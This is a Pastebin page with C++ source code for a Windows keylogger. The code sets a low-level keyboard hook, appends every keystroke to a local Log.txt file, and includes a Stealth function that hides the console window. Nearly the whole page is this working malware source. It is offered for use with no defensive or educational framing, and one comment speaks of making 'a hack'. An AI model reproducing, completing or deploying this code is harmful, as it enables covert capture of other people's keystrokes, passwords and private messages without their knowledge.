Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <Windows.h>
- #include <cstdio> // be able to open file
- // File pointer
- FILE *OUTPUT_FILE;
- using namespace std;
- void save(DWORD vkcode);
- void Stealth();
- void SetHook();
- void ReleaseHook();
- // variable to store the HANDLE to the hook. Don't declare it anywhere else then globally
- // or you will get problems since every function uses this variable.
- HHOOK _hook;
- // This struct contains the data received by the hook callback. As you see in the callback function
- // it contains the thing you will need: vkCode = virtual key code.
- KBDLLHOOKSTRUCT kbdStruct;
- // This is the callback function. Consider it the event that is raised when, in this case,
- // a key is pressed.
- LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam){
- //cout << "Inside this thing" << endl;
- if (nCode >= 0)
- {
- // the action is valid: HC_ACTION.
- if (wParam == WM_KEYDOWN)
- {
- // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
- kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
- save(kbdStruct.vkCode);
- // a key (non-system) is pressed.
- /*if (kbdStruct.vkCode == VK_DECIMAL)
- {
- // F1 is pressed!
- MessageBox(NULL, "F1 is pressed!", "key pressed", MB_ICONINFORMATION);
- }*/
- }
- }
- // call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
- return CallNextHookEx(_hook, nCode, wParam, lParam);
- }
- void save(DWORD key_stroke){
- if(key_stroke == 8)
- fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
- else if(key_stroke == 13)
- fprintf(OUTPUT_FILE, "%s", "\n");
- else if(key_stroke == 32)
- fprintf(OUTPUT_FILE, "%s", " ");
- else if(key_stroke == VK_TAB)
- fprintf(OUTPUT_FILE, "%s", "[TAB]");
- else if(key_stroke == VK_SHIFT)
- fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
- else if(key_stroke == VK_CONTROL)
- fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
- else if(key_stroke == VK_ESCAPE)
- fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
- else if(key_stroke == VK_END)
- fprintf(OUTPUT_FILE, "%s", "[END]");
- else if(key_stroke == VK_HOME)
- fprintf(OUTPUT_FILE, "%s", "[HOME]");
- else if(key_stroke == VK_LEFT)
- fprintf(OUTPUT_FILE, "%s", "[LEFT]");
- else if(key_stroke == VK_RIGHT)
- fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
- else if(key_stroke == VK_UP)
- fprintf(OUTPUT_FILE, "%s", "[UP]");
- else if(key_stroke == VK_DOWN)
- fprintf(OUTPUT_FILE, "%s", "[DOWN]");
- else if((key_stroke == 190) || (key_stroke == 110))
- fprintf(OUTPUT_FILE, "%s", ".");
- else
- fprintf(OUTPUT_FILE, "%s", &key_stroke);
- }
- void Stealth(){
- // Hide window
- HWND stealth;
- AllocConsole();
- stealth = FindWindowA("ConsoleWindowClass", NULL);
- ShowWindow(stealth,0);
- }
- void SetHook()
- {
- // Set the hook and set it to use the callback function above
- // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
- // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
- // function that sets and releases the hook. If you create a hack you will not need the callback function
- // in another place then your own code file anyway. Read more about it at MSDN.
- if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
- {
- MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
- }
- }
- void ReleaseHook()
- {
- UnhookWindowsHookEx(_hook);
- }
- int main()
- {
- // Set the hook
- SetHook();
- //If I call Stealth() it wont record keystrokes
- //Stealth();
- // Open file to put characters in
- OUTPUT_FILE = fopen("Log.txt", "a+");
- // Don't mind this, it is a meaningless loop to keep a console application running.
- // I used this to test the keyboard hook functionality. If you want to test it, keep it in ;)
- MSG msg;
- while (GetMessage(&msg, NULL, 0, 0)){
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement